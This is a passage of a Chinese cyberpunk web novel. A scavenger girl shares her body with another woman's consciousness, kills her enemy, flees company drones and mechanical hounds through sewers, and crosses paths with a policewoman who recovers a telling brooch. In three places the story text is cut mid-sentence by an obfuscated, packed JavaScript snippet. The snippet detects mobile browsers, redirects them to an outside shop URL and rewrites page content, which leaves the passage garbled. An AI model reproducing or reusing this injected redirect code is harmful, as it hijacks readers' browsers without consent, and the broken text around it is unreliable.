沉降区长大的夏雨不是第一次看到死人,但这确实是她杀的第一个人,还是几个小时前还和她一起吃合成营养膏的搭档。 李斯,她的仇人,她殚精竭虑想要报复的对象,她短暂的合作对象,就这么轻飘飘地死成了渣渣……?她甚至没来得及问清楚母亲的死亡内幕。 她曾经千百遍预想过复仇后自己会得到的胜利的快意,但此时,她的脑海里却只有恶心、恐惧和痛苦。 为什么□□那些人却能那么轻易地杀掉她的母亲,然后还会轻松地讨论晚上去哪儿消遣?为什么她却不行? 寄宿在夏雨体内的连映,此刻也并不好受。 她不认识李斯,不知道眼前的一切是真是假,也明白“不是他死就是我们亡”的道理,但这也是她亲手杀死的第一个人,此时夏雨感受到的剧烈战栗和恶心感,也有她一份。 连映看着地上那颗半人半鬼的头颅,看着那曾经鲜活的生命变成了这副扭曲的模样,心里泛起一阵彻骨的寒意。 这就是这个世界的规则吗?弱肉强食,死后连个人样都留不下。 连映在精神空间里深吸了一口气,强行压下了那股不适感。她知道,现在不是感伤或者忏悔的时候。 她是个成年人,面对一个未成年的孩子,她有必须承担的责任。 【别看他的眼睛。】连映在夏雨脑海中带有一丝安抚意味道,【那已经是尸体了。如果刚才犹豫的是你,现在躺在地上的就是我们。】 【现在,把嘴里的东西吐干净,然后站起来,按我说的做。】 “……我只是捅了一刀,他怎么就变成这样了?”夏雨抹了一把嘴角的酸水,抖着胳膊指了指地上的尸体残渣,“你到底做了什么?怎么做到的?” 【这不重要。】女声并没有解释,其实她也不知该如何解释,【重要的是,如果不快点行动,你会马上被创联的人抓到。】 “不行!走之前,我还有事要做!” 听到要走,夏雨浑身一激灵,在沉降区长大的“拾荒”本能顿时压倒了恶心,扑到李斯的尸骸旁,迅速捡起那把依然完好的、被李斯抢走的枪,还有那枚任务金属牌。 【还有一样东西。】脑海中的女人突然开口,声音中带有一丝不移察觉的紧绷,【在他胸口那堆灰里。】 夏雨愣了一下,伸手一刨。 在几块扭曲的金属废料和李斯那只断掉的机械手之间,一点幽蓝色的微光静静地闪烁着。 “这玩意儿居然还在?” 夏雨眼睛一亮,伸手从温热的灰烬里将它刨了出来。 是那枚蓝宝石胸针。蚀械菌似乎对高纯度的晶体并不感兴趣,除了银质底座被高温熏得有些发黑,那颗深蓝色的新月宝石依然完好无损,在黑暗中散发着清冷的光辉。 “算这老怪物还有点良心,没把这宝贝给吞了。” 夏雨嘟囔着,用袖口擦了擦上面的灰,举到眼前:“看着像真货啊……这切工,这净度……发财了!?” 借着夏雨举起胸针的动作,连映终于看清了它的全貌。 她集中注意力和精神力细细扫过胸针的每一寸细节,最后定格在底座背面那道细微的、几乎看不见的刻痕:“L&W”。 连映的呼吸在意识层面出现了一瞬间的停滞。 太真了。连那道刻痕深浅不一的手感都完美复刻。 一股寒意顺着脊椎爬上来,连映并没有失而复得的喜悦,反而感到一种巨大的、荒谬的眩晕感。 她听说,现在好像有一种叫“动态深潜式心理构筑”的高级技术,能够实时读取体验者的海马体数据,提取出体验者潜意识里最深刻的执念,然后利用超级AI技术即时生成极具欺骗性的虚拟场景。 难道,审讯方想用这个胸针来击溃我的心理防线?还是想诱导我暴露出更多关于闻阗的信息? 连映控制着自己的精神波动,将那股几乎要冲破胸腔的急切强行压成一条直线。她不能表现出那个东西对她很重要。至少在夏雨面前,她必须维持好自己的“人设”。 【收好。】连映压抑着心底的巨震,语气冷淡地信口胡诌道,【不想死最近就别拿去卖,这东西上有高级信标。贴身藏好。】 “哈?高级信标?你光看就知道了?”夏雨被吓了一跳,随手塞进衣兜,心里却在想:管她什么心病,回去以后光把宝石拆下来卖掉不就得了? 【最后一件。看那颗头。】 夏雨忍着头皮发麻,看向那颗半焦的头颅。 “嗯?脑壳居然完好无损?” 夏雨眼前一亮,伸手想要把那颗半焦的脑袋翻过来,看看有没有什么值钱的植入体或者金牙。 “滋——” 就在她的手指触碰到头颅表面的一瞬间,异变突生。 仿佛有一道微弱的电流顺着指尖直冲大脑。夏雨的视野猛地闪烁了一下,就像是劣质的接触不良。紧接着,无数道蓝色的、像血管一样的全息数据流直接浮现在她的视网膜上。 她清晰地看到,那颗原本在她眼中只是一块死肉的头颅内部,竟然浮现出了残缺的金属骨骼结构图,而在右眼眶的位置,有一股红色的数据流正在疯狂地向上传输。 旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091507|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边还飘浮着一些她只能勉强看懂一部分的乱码,以及一行文字: 【警告:影像同步上传中……无网络连接,上传已中断】 “卧槽?!老鼠人都没了,脑袋居然还在继续运行?” 夏雨吓得猛地缩回手,揉了揉眼睛,“等等,刚才我眼花了?怎么看到数据线了?” 【不是眼花。】 脑海中,连映的声音淡淡响起: 【是我激活了你大脑皮层里沉睡的感知模块。这是‘机械感知’。】 连映并没有说谎。她也是刚刚在查看那个神秘的系统面板时才发现,夏雨的这个特殊界面和“机械感知”能力,其实是被她身为“共鸣者”的一个已有技能——“潜能激发”所激活的。 虽然只是初级阶段,必须通过肢体接触才能解析数据,但对于夏雨这种从小和机械打交道的孩子来说,这就是神技。 “……意思是,你给我激活了一个特殊能力?”夏雨愣住了,看着自己的手,又看了看那颗头颅,“这是……异能?还是什么新型基因改造技术?你想要我干什么?我知道,这肯定不是免费的吧。” 【算是预付的报酬,只要你老实听话,就不会有麻烦。还有,不要把这件事告诉任何人,否则,我随时能收回来。】连映语气冷漠道。 “哦……”夏雨还是没完全明白。 连映也没想等她完全想明白,她的目标是先糊弄过去再说。 现在,她心里有很多疑问要和夏雨确认,但眼前,她不能对夏雨邪路任何关于“共鸣”、“链接”那些连她自己都没搞清楚的概念,那只会让夏雨对她产生怀疑,对接下来的行动没有任何好处。 眼下,她需要扮演的是一个让夏雨可以依靠却又无法反抗的“权威”或者“上级”,而不是一个施恩不成反成仇的“神秘伙伴”——平等的关系,意味着界限会渐渐模糊,无论是夏雨,还是她,都会有降低心防、逐渐越界的风险。 连映维持淡漠深沉的语调继续道: 【这些以后再说。现在更重要的是处理掉李斯的脑袋。看来,他肯定将你和他的冲突经过录了下来,大概率还尝试过联系其他人。一旦这颗头落到其他人手里,你就是死路一条。】 “靠,差点着了这家伙的道儿!” 夏雨也知道事情的严重性,忍着厌恶向那颗狰狞的头颅伸出手,指尖精准地按在了那颗看似烧焦的机械义眼上。 “机械感知”界面的数据流再次浮现。这一次,在连映的引导下,她看得更清楚了: 【接触式解析中……】 【硬件: 头骨:MW-77 黑曜石(未经认证的覆写散件) 皮层&脑芯:黑匣子(原封,认证) 状态:锁定 激活时间:12月21日】 “这架构……”夏雨愣了一下,脸色瞬间变了:““MW,黑曜石——是明微生物的‘黑曜石’!?” 她仔细看了看机械感知界面的文字提示,顿时咋舌不已: “黑曜石的全身骨骼要上百万,他这个头骨应该是从私人身上扒下来的二手货,就算碎铁帮便宜卖给他也得几万块钱。” 她颇为感慨地继续往下看:“等等,黑匣子——居然是全新的!?他这都是正品吗?” 【全新的黑匣子市价从十几万到二十几万波动,头骨应该也是正品,毕竟人都化成灰了,头骨和皮层脑芯居然还在。】 连映在自己兼职的高端机械义体店见过这种型号,边思索边道: 【黑曜石是专门做成廉价外观的高端货,给怕被打劫的富人用的,和黑匣子皮层脑芯是一个系列的产品,用的是特殊的高级仿生材料,大概也是因为这个他的脑袋才没被蚀械菌完全腐蚀。】 夏雨补充了几句自己知道的情况:“在我们那片儿,碎铁帮清道夫拿到的高级货另有渠道出手,我家店里安全起见也从来不进这种高级货。而且,全新黑匣子只能去官方渠道提前一个月检查定制,服务费另算。老鼠居然有钱装正品!?” 连映心里也颇为嫉妒这家伙的阔气,为了不崩人设,努力装作云淡风轻地说:【是不少钱,两个加起来得小几十万。看不出来,老鼠这家伙还挺有钱的。】 末了,她还是忍不住嘲讽了一句:【不过,他这钱算是白花了,大脑都被啃空了,光留下脑壳和脑芯有什么用。】 骂了半截的话忽然卡在喉咙里,夏雨忽然想到什么,心脏猛地一缩。 需要提前半个月定制……激活时间是22号…… 假设他是22号当天换的头骨和脑芯,那他是什么时候拿到钱的呢?21号? 【既然如此,那老鼠为什么会选择换昂贵的义体保护脑袋,而不是还债?】连映若有所思地说。 夏雨没回答。 她死死盯着那个【激活时间:12月22日】的数据,眼圈慢慢变得通红。 她不知道李斯为什么这么做,但21号那天发生的事,她永远不会忘。 那是她妈尸体在河里被发现那天,也是家里的机械铺被前来收债的李斯带着几个碎铁帮的喽啰连锅端的日子。 9. 逃亡 夏雨呼吸急促起来。 一周前新换的脑袋——李斯这种常年混迹于赌场的烂赌鬼,哪来的钱换这种高端装备? “王八蛋——!” 胸膛因为愤怒剧烈起伏,夏雨咬牙切齿地说:“那是我们的店,我们的钱——那是我妈当年带着我从下水道起家,辛辛苦苦十几年攒下的家当!” “那天夜里她跟我说,她存了些钱,要带我搬家离开这里,去治安好一些的区买个房子,可第二天一早她就失踪了,再也没回来……一个月……原来,原来他们早就……” 说到这,夏雨已然双眼通红,却强忍着没让眼泪掉下来。愤怒没顶之下,她掏出腰包里的数据探针,发疯一样地狠狠刺向那颗义眼。 【住手!你仔细看结构图,他的义眼里有——】 连映赶紧阻止,但夏雨的已经狠狠刺在眼球表面。 “滴——!!” 一声极其尖锐、几乎刺破耳膜的高频蜂鸣声瞬间从那颗头颅里爆发出来。 【警告:检测到暴力拆解!声波诱饵模式启动!】 夏雨被这声音震得头皮发麻,手里的刀差点掉了。 “靠,这家伙在义眼里装声波信标!?那刚才蚀械菌吃他大脑的时候怎么没响?” 连映声音急促地说:【不止这样,就算你毁了义眼也没用,黑曜石头骨是军工级防爆设计,硬撬只会引来更多的安保部队!我们没有能在十秒内熔穿这种特殊合金的工具!】 夏雨僵住了,过往经验、知识和理智悉数回笼,她重新看向机械感知铺开的头颅透视图景,猛地意识到陌生女音是对的,冷汗瞬间湿透了脊背。 “那……现在怎么办?!声波信标会把所有东西都引过来!” 她又看了一眼视网膜上那个【影像上传进度:0%(无网络连接);声波信标已开启】的红色警告,啐了一声: “靠,幸好这底下没网,要不然——等等,不能把它就这样留在这,如果创联看到老鼠的录像,那我可就玩完了!” “嗡——” 说什么来什么,远处管道里传来了重型无人机推进器的轰鸣声,显然是被刚才那短暂的声波吸引来的。 没时间了。 【来不及了!】连映迅速地说:【现在只能‘关’住它,然后把它带走。】 夏雨眼睛一亮,瞬间明白了她的意思。作为经常在捡电子垃圾的拾荒者,能够屏蔽信号的隔离回收袋是标配。 “我有隔离回收袋!” 她迅速从腰包的夹层里扯出一个折叠得皱皱巴巴的银灰色厚重袋子一,铝箔般的里衬闪着哑光。 “这是铝网夹层的,标准的法拉第笼结构,专门用来屏蔽电磁信号!”她语速飞快地说,“我以前捡到过会乱发定位的军用芯片,就靠这个兜回家的。” 【装进去!】连映立刻道。 夏雨忍着那股令人作呕的焦糊味,一把抓起李斯剩下的头发,将那颗还在发出尖锐蜂鸣的脑袋硬生生塞进了袋子里。 “给老子闭嘴!” 她狠狠拉上密封拉链。 “滋——” 那让人头皮发麻的尖叫声戛然而止。世界瞬间清静了。 为了保险起见,夏雨没有立刻把袋子塞进怀里,而是把手掌贴在袋子表面,再次发动了“机械感知”。视网膜上的数据流清晰地显示: 【接触反馈:高密度铝网……信号阻断率:100%】 与此同时,连映也试探性地集中精神力去感知那个袋子。 很安静,应该确实起了作用。 【安全。没有任何波动。只要不把拉链拉开,这就是个死物。】 得到了双重确认,夏雨这才长出了一口气。 她把沉甸甸的袋子往防护服里一揣,拍了拍鼓鼓囊囊的肚子,对着怀里的“铁疙瘩”冷笑一声: “李斯,你这混蛋,给我好好待着。等出去了,老娘亲自给你做‘开颅手术’。” “嗡——轰——” 话音未落,身后管道深处的轰鸣声陡然增大。连映敏锐的精神雷达甚至捕捉到了一阵令人毛骨悚然的、密集的金属撞击声,以及机械爪子抓扣墙壁快速爬行的声音。 【快跑!】 连映警告声急促响起: 【不止无人机!地面也有东西!应该是创联的‘猎犬’!】 “操!” 夏雨脸色一变,不敢再耽搁半秒。她捂着怀里的脑袋,在那令人窒息的压迫感中,一头跳入通往深层污水管网的幽深入口。 昏暗,潮冷,恶臭。 夏雨瘫软在滑腻的管道壁上,肺部像拉风箱一样剧烈起伏。 随着身后那扇沉重的隔离阀门被她费力关上,尖锐的声波诱饵声终于被隔绝在外。 世界瞬间安静下来,但这种安静并不让人安心。 这里是地下L7层下水道区域,整个创联塔基座的排泄口。 在夏雨的认知里,这种遮风挡雨、恒温、宽敞的地下管道区域,哪怕是冬天,也应该挤满了用塑料布搭帐篷的流浪汉、瘾君子、还有帮派的黑诊所。哪怕是死胡同,也该有成群结队的老鼠和蟑螂在脚下乱窜。 但这儿什么都没有。 四周黑得像墨,只有夏雨额间刺眼的头灯切割着黑暗。光线扫过之处,墙壁上甚至连涂鸦都没有,只有一种被某种液体反复冲刷后留下的、呈现出诡异惨白色的蚀刻痕迹。 昨夜的冬雨让地下水位暴涨。黑水没过了小腿,湍急的水流裹挟着冰渣,像无数只冰冷的手死死拽着夏雨的脚踝,每迈一步都要消耗巨大的体力。 “不太对劲……” 夏雨贴着墙根,吸了吸鼻子,脸色在头灯的微光下显得有些惨白。 【怎么?】连映问。 “太干净了。” 夏雨的声音紧绷,眼神警惕地扫视着四周,“我和我妈……以前在西区的排水管里住过半年多。只要是能住人的管子,不管多深,你能闻到那股‘活人味’。发霉的被褥、烧过期的营养膏、还有屎尿味。到处都是老鼠,蟑螂,蛆。” 她指了指四周那惨白的墙壁: “但这儿只有漂白粉和烂肉的味儿,连老鼠蟑螂都没有。这里不是正常生物能待的地儿。” 连映没有立刻回答。 她在尝试使用那个刚刚觉醒的“新器官”——精神力。 这是一种很生涩的体验,就像是一个盲人第一次试图通过回声来描绘世界。她笨拙地将那一缕意识向外延伸,试图“看”清黑暗中的情况。 没有反馈。 这就是最大的反馈。 虽然她现在感知力不强,但刚才在上面的垃圾场,哪怕不刻意去探查,她也能感知到四周无数微小的生命火花:惊窜的老鼠、爬行的虫子、甚至苔藓类生物一片片微弱的生物电。 但这儿……是一片死寂的黑色虚无。 连映的精神触角扫过四周,感觉不到一丝一毫的活物气息。这种绝对的“真空”,比任何怪物的咆哮都更让她毛骨悚然。 【看看你的目镜。】 连映的声音在夏雨脑海中响起,带着一丝初次尝试操控精神力的疲惫感: 【虽然离线了,但基础的环境监测模块应该还在运作。右下角,那个黄色的图标是什么?】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091508|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>夏雨愣了一下,把手里那个本来想省电关掉的目镜重新戴上,眯起眼睛看了一眼角落里一直闪烁的离线图标。 “靠!工业污染警报?” 夏雨念出了上面跳动的一行小字:“环境酸性残留:高。建议佩戴呼吸过滤阀。……卧槽!?” 【这就对了。】 连映结合自己感知到的“生命真空”和目镜的数据,迅速得出了结论: 【这里是‘清理区’。】 【这就是为什么没有流浪汉,也没有老鼠。创联大概定期向这里排放强效化学消毒剂,用来‘清洗’管道……顺便清洗这里的所有活物。 尤其是昨夜下了冰雨,虽然这里是创联自己的管道,但水位肯定还是比平时高很多。这么看来,你得快些从这底下出去,尽量从岸上走,不要淌水,否则……】 连映话还没说完,一阵刺痛从夏雨腿部同步传来。 那种混合了工业废液的冰水溅在夏雨刚才战斗留下的伤口上,像火烧一样疼。 “嘶……”夏雨倒吸一口冷气,脚下一个踉跄,怀里装着脑袋的袋子重重撞在膝盖上。钻心的疼让她龇牙咧嘴,脑海里瞬间闪过网上流传的那些被公司“新药”实验毒得面目全非的惨状,腿肚子顿时有些转筋。 “靠,我不会还没出去先被这里的毒水毒死吧?”恐惧之下,夏雨竟不知不觉将心声脱口而出,清脆的女声幽幽地回荡在空寂的空间内,颇有些悚然。 话音未落,夏雨的后背就僵住了。她猛地闭紧嘴巴,但这声抱怨已经像泼出去的水,在空旷的管道里根本收不回来。 晚了。 几乎在回声荡开的同一瞬间,连映那刚刚铺开的、还很不熟练的精神雷达,突然像被针扎了一下。 【嘘,有东西追过来了!】连映在夏雨意识里急促警告道。 在她的精神感知视野里,原本死寂的黑暗中,突然闯入了几个格格不入的“信号团”。 那感觉很模糊,并不像高清摄像头那样能看清人脸,更像是在黑夜里看到了几团不同颜色的鬼火: 后方是三团冰冷的、毫无情绪波动的死物。它们带着那种特有的电子嗡鸣频率,正直线逼近,大概是创联的战斗无人机。 右前方是一团炽热的、锋利的红光,大概是个活人,精神波动极其稳定,连映却直觉般地感知到一种压抑的危险感,不知道这人是敌是友。 左侧阴影里还有一团……那是什么?连映有些分辨不清。 那一团气息像是一块冰冷的石头,或者一团虚无的迷雾,却带着一股奇异的窥视感,如果不是她刚才刻意扫描,几乎会把它当成背景环境忽略掉。 她望向那边的墙壁,什么都没有。 ……管壁里的某种隐藏设备,比如某种纳米级监视器? 连映还没来得及分辨那团“迷雾”的性质,后方那三个无人机已经现出身形发起了攻击。 “嗡——” 几道红色的热成像射线瞬间刺破了黑暗,锁定了夏雨的背影。 “该死!追上来了!” 夏雨反应极快,利用地形一个翻滚躲过扫射,抬手就是一枪。 “砰!” 子弹打在领头那架无人机的装甲外壳上,只溅起一串火花。 “妈的!是创联的‘清扫者’!两架……不,三架!” 夏雨被密集的火力压制得抬不起头,只能蜷缩在一段生锈的管道后面。怀里那颗死人头硌着她的肋骨,身后是逼近的死神。 就在这时,她听到了右前方那个黑暗的检修口传来了极其轻微的、金属撞针复位的“咔哒”声。 那里有人! 10.神秘女人 “前面也有?!” 夏雨绝望地咬牙,眼神瞬间变得凶狠。反正都要死,不如拉个垫背的! 她猛地调转枪口,没有指向身后的无人机,而是指向了右前方那个检修口的阴影,手指即将扣下扳机。 【快趴下!她不是冲你来的!】连映急忙提醒她。 虽然她还不能完全解析那个“红光”是谁,但就在刚才的一瞬间,她清晰地感知到了那团红光爆发出的“指向性意图”。 那股锐利的杀意,像是一条笔直的线,从夏雨旁边穿过,死死锁定她身后的那几团“死物”。 夏雨不明所以,但敏捷的战斗和生存本能已经先一步反应过来,整个身体反射性收力,整个人顺势向下一矮,抱头贴地。 下一瞬间。 “砰!” 一声沉闷却震撼的枪响从右侧检修口的阴影里爆发,一颗带着蓝色电弧的特种子弹,擦着夏雨的头皮飞过,精准地轰在了夏雨身后其中一架正要发射微型导弹的无人机核心上。 “滋啦——轰!” 电磁干扰弹炸开。无人机像只断了线的风筝,冒着黑烟重重砸进污水里。 “不想死就别挡道,滚!” 一个低沉、沙哑且极不耐烦的女声从阴影里传来。 紧接着,那个看不清面容的人影从黑暗中闪身而出,手中拿着某种干扰设备,对着剩下的无人机扔了过去。 “靠,这又是谁啊!我今天怎么这么倒霉!” 夏雨心中哀号,捂着怀里的死人头想要趁乱钻进岔路口。 【等等,那边也不能去!】连映感知到那个方向有冰冷的存在快速逼近,厉声警告道,【有东西过来了!】 “汪吼——!!” 像是在响应连映,她在意识里话音未落,管道岔路口深处就响起一声令人毛骨悚然的机械咆哮声。紧接着,密集的金属撞击声像暴雨一样逼近。 【是机械猎犬!而且不止一只!】连映立刻反应过来。 机械猎犬?夏雨忍不住定睛向通道深处看去,吓了一大跳: 两只体型庞大、双眼红光闪烁的重型机械猎犬正朝这个方向飞奔而来,合金爪子在墙壁上抓出一串火星。 它身上的装甲板厚得像坦克,牙齿极其锋利尖锐,闪闪发亮,只是看就让人心头发颤。 “切……麻烦了。” 刚才出声的女人从掩体后闪身而出,对着猎犬连开三枪。 “砰!砰!砰!” 警用动能弹打在猎犬的金属脑袋上,却丝毫没有阻滞它们跑过来的步伐。。 猎犬调转枪口,肩部的机枪塔开始预热。 李蔚一个战术翻滚躲过扫射,对正愣在原地进退两难的夏雨厉声吼道: “喂!那个拿土炮的小鬼!” 李蔚指着夏雨背上那把缠满铜线的粗大钢管:“你那玩意儿能不能响?!能响就别傻站着!我引开它的注意力,你给我轰烂它的脑袋!!” “叫谁小鬼呢?!” 夏雨不悦地嘟哝一句,一把将那把沉重的线圈枪从背上扯下来,双手死死握住枪柄,枪托抵住肩膀,像架起一门手炮。 【听她的。】 连映盯着机械感知界面里机械猎犬红色发光的弱点,语调冷静地分析道: 【这只猎犬是重甲单位,那女人的手枪穿不透。你的线圈枪是唯一的破局点。瞄准它脖子下面那块发光的散热板!】 “这个我能看得出来!” 夏雨接二连三地被命令和反驳,心气儿有点不顺,但她知道现在不是闹情绪的时候,便有点憋屈地咬咬牙,大拇指拨开预热开关。 “嗡——” 令人牙酸的电容充电声在管道里回荡起来。 “嘿!听动静,够劲儿啊,手搓的?还挺厉害嘛,小鬼。” 听到声音的李蔚嘴角勾起一抹赞赏的笑意,朝机械猎犬的方向挥了挥手:“看这边!大狗!” 接着,她猛地从掩体冲出,不再躲避,而是利用管道壁做跳板,整个人像一只灵活的雨燕,在空中划出一道残影,手里扔出一枚闪光震撼弹。 “嘭!” 强光炸裂。 机械猎犬的视觉传感器瞬间过载,发狂地对着李蔚的方向盲目扫射,脖颈下的散热格栅弱点因为咆哮而完全暴露出来。 李蔚身子一扭,硬生生避开机械猎犬的报复动作。 就是现在! 【运用机械感知,瞄准机械猎犬的动能核心,开火!】连映低喝。 夏雨没有丝毫犹豫,在那一瞬间,她仿佛与手中的破铜烂铁融为一体。 “轰——!!!” 沉闷的空气爆鸣声震耳欲聋。 线圈枪枪口喷出一团蓝色的电离子雾。一枚强化合金材质的实心钢钉携带着恐怖的动能,像重锤一样砸了出去。那是夏雨原本特意为一身机械义体的李斯准备的的杀招。 “咔嚓——噗!” 没有任何悬念。那枚钢钉直接击穿了猎犬脆弱的散热格栅,钻进了它的核心动力炉,然后从屁股后面穿了出来! “嗷呜……” 那只凶狠的机械怪物发出一声哀鸣,浑身爆出一团巨大的电火花,重重地摔在污水里,抽搐了两下不动了。 【干得好!后面还有一只,继续!】连映赞赏地说。 夏雨瞄准后方出现的另一只机械猎犬,扣动扳机! “呼……呼……” 夏雨被巨大的后坐力震得倒退了两步,一屁股坐在水里,肩膀生疼,但眼里满是兴奋。 “小鬼,射得还挺准。” 李蔚落地,换上新弹夹,警惕地盯着后方还在逼近的无人机群。 她转过头,看了一眼坐在水里、怀里鼓鼓囊囊、手里抱着大号自制枪支的夏雨,眼神里闪过一丝探究:“枪不错。你是从封锁区出来的?” 【不要和她闲聊,她是警察!】 连映立刻打断了这难得的温情时刻:【别让她看清你的脸!更别让她看见你怀里的东西!快走,要是有更多无人机来你就糟了】 “靠,我又不是第一天出来混,还能不知道这个?”夏雨没好气地在心里说,有点好奇地顺嘴问道:“不过,你是怎么看出来的?” 连映冷声催促道道:【商业机密。趁现在创联后续追兵还没赶到,快跑!】 又是什么都不说……夏雨不满地想,狼狈地爬起来抱起枪,头也不回地钻进了刚才被猎犬堵住的那个逃生口。 “喂!等等!” 李蔚刚想追,身后的无人机群已经压了上来,密集的子弹打得她不得不缩回掩体,先解决这些阴魂不散的家伙,等到结束手头的战斗,夏雨早已消失无踪。 “啧,跑得比兔子还快。” 李蔚看了一眼那个扛着自制武器裹得严严实实的小鬼消失的方向,又看了一眼地上被一枪轰烂核心的猎犬,眼神微眯: “原来是追着这个小鬼来的……看来今天没法继续查了。等等,那是什么?” 她眼神一凛,定格在刚才那个女孩趴过的位置,排污口的格栅旁,收起枪,快步走过去,蹲下身,戴着战术手套的手指轻轻从缝隙里抠出了一枚沾着污水的胸针。 红色的战术灯光下,胸针上那颗蓝宝石依然闪烁着冷冽的光芒。 李蔚眯起眼睛,翻过胸针。 背面刻着几个极小的字母:L&W 意念一动,李蔚开启了义眼的微距多光谱模式。借着昏黄的光线,她将胸针翻转一圈,不遗漏一丝细节。 “痕检助手,分析指纹。” 【警告:外部网络已断开。】

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096106|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 【正在调用本地任务缓存数据……】 “啧,把这茬忘了。” 李蔚这才发现视野右下角的信号栏显示着刺眼的红色“OFFLINE”,刚想关掉APP,本地缓存的“闻阗失踪案”资料卡片却自动弹了出来。 在那张全息影像上,失踪前出现在创联新品发布会的闻阗,胸前赫然别着一个一模一样的胸针。 “等等,这不是……!?” 眼神蓦地锐利起来,李蔚立刻反应过来,静静等待分析结果。 【……本地比对完成。】 【指纹A(覆盖):闻阗,联邦公民ID:xxxxxxxx,吻合度:99.8%】 【指纹B(残缺):连映,联邦公民ID:xxxxxxxx,吻合度:98.7%】 “在本地库里……” 李蔚眉心紧锁。 在断网状态下,指纹源直接对应了她脑芯里缓存的案件信息,是她正在调查的高优先级案件的相关目标,闻阗和连映。 资料里提到过这枚胸针,但在之前的调查评估中被判定为无价值私人物品。 可现在,它却带着两个当事人的指纹出现在创联的地下排污口,还从一个疑似来偷东西的小丫头那,阴差阳错落在了她手里。 “有了这个‘无价值私人物品’,今天倒也没白下来趟这趟浑水。” 她意味深长地感叹一声,从腿上的战术口袋里里摸出一个透明的真空证物袋,将胸针极其小心地滑入其中,封好口,看着它自动抽气贴合,这才放入战术背心的夹层。 这枚胸针为什么会在刚才那个穿防护服的神秘人身上? 那个小丫头拿着一把一看就是自制的笨重电磁线圈枪,隔着防护服和面罩看不出身份,但从身材和声音判断可能都没成年,还是个没安脑芯的黑户。 刚才擦肩而过时李蔚趁机扫了她一下,结果不但扫不出联邦数字生物ID,系统里甚至没有任何能够匹配的声纹记录,这相当不正常。 这样的人,为什么会出现在创联的地下排水管道,手里又为什么会有这个胸针,是有意,还是巧合? 默默思忖片刻,李蔚将胸针小心地放进贴身口袋里。 然而,站起身的瞬间,她的动作突然停滞了。 多年执法生涯磨砺出的直觉让她背后的寒毛直竖。她猛地转头,目光死死锁定了下水道另一侧一片浓重的阴影。 那里看似空无一物,只有滴水的管壁,但李蔚……知道,那里有东西。 从刚刚交火时开始,她就隐约感到一股被窥视的粘稠感。那东西就像一条毒蛇,看着她帮那个女孩解围,看着她捡起证物,却始终没有发出一点声音。 “出来。” 她重新拔枪,身体微弓,冷冷地盯着那片黑暗,“别让我说第二遍。” 阴影里没有任何回应。 双方在死寂中僵持了两秒,李蔚眼神一凛,瞬间拔枪,谨慎地慢慢靠近墙壁,刚想扣动扳机逼对方现身。 “嗡——嗡——” 头顶上方的竖井里突然传来了密集的重型无人机旋翼声,以及嘈杂的战术靴踩踏声。 “搜索L3区域!刚才的电磁脉冲反应就在下面!” “发现入侵者踪迹!一级警戒!” 李蔚的眉心狠狠跳了一下。 创联的人到了。 她看了一眼头顶,又深深地看了一眼那片依然死寂的阴影,心里明白,如果现在开枪逼对方出来,枪声会立刻引来上面的大部队,到时候,她手里这个关键证物就带不出去了。 “算你走运。” 李蔚拧眉沉声对那片阴影警告道。 随后,她压低帽檐,利用上方无人机扫描的死角,迅速钻进另一侧复杂的管网深处,眨眼便消失不见。 11.不甘 李蔚的身影消失在管道尽头后,那片死寂的阴影才诡异地蠕动了一下,一个没有四肢的黑色细长人影像液体一样从墙壁的缝隙中“流”了出来。 “滴。” 通讯接通。 “汇报。” “雏鸟已觉醒,确认具备容器资质,并已携带‘卵’逃走。” 黑影的声音毫无起伏,宛如机械:“此外,雏鸟还除掉了‘老鼠’,并带走了头颅。” “哦?”通讯那头沉默了一瞬,随即发出一声意味不明的轻笑,“有点意思。” “需要回收吗?” “不必。”那个声音淡淡地说道,“路是她自己选的。而且,碎铁帮也该受点教训了。” 黑影顿了顿,目光扫向李蔚消失的方向:“那条野狗又出现了,还帮助雏鸟逃离现场。该如何处置?” “野狗自有人牵,不用管她。” 对方的语气忽地冷下来,透着不容置疑的威严: “你的任务只有一个:盯紧雏鸟。必要时,予以加压。” “明白。” 通讯切断。 黑影身体后仰,重新融化进了无边的黑暗之中,仿佛从未存在过。 “跑!” 夏雨钻进了旁边一条逼仄狭窄的排污管道,拖着伤痕累累的身体拼命飞奔。 一边跑,她一边在意识里对连映说:“刚才那女的谁啊?你怎么知道她是个条子?” 那个女人一看就是练家子,身手利落干脆,充满了一种行伍出身的肃杀之气。 【商业机密,无可奉告。】连映冷冷地说。 虽然下水道光线昏暗,对方戴着墨镜遮住了大半张脸,但在刚才那场并肩作战的混战中,当那个女人举枪射击、或是粗暴地把夏雨按在掩体后大吼着“低头”的时候,连映就已经认出了她。 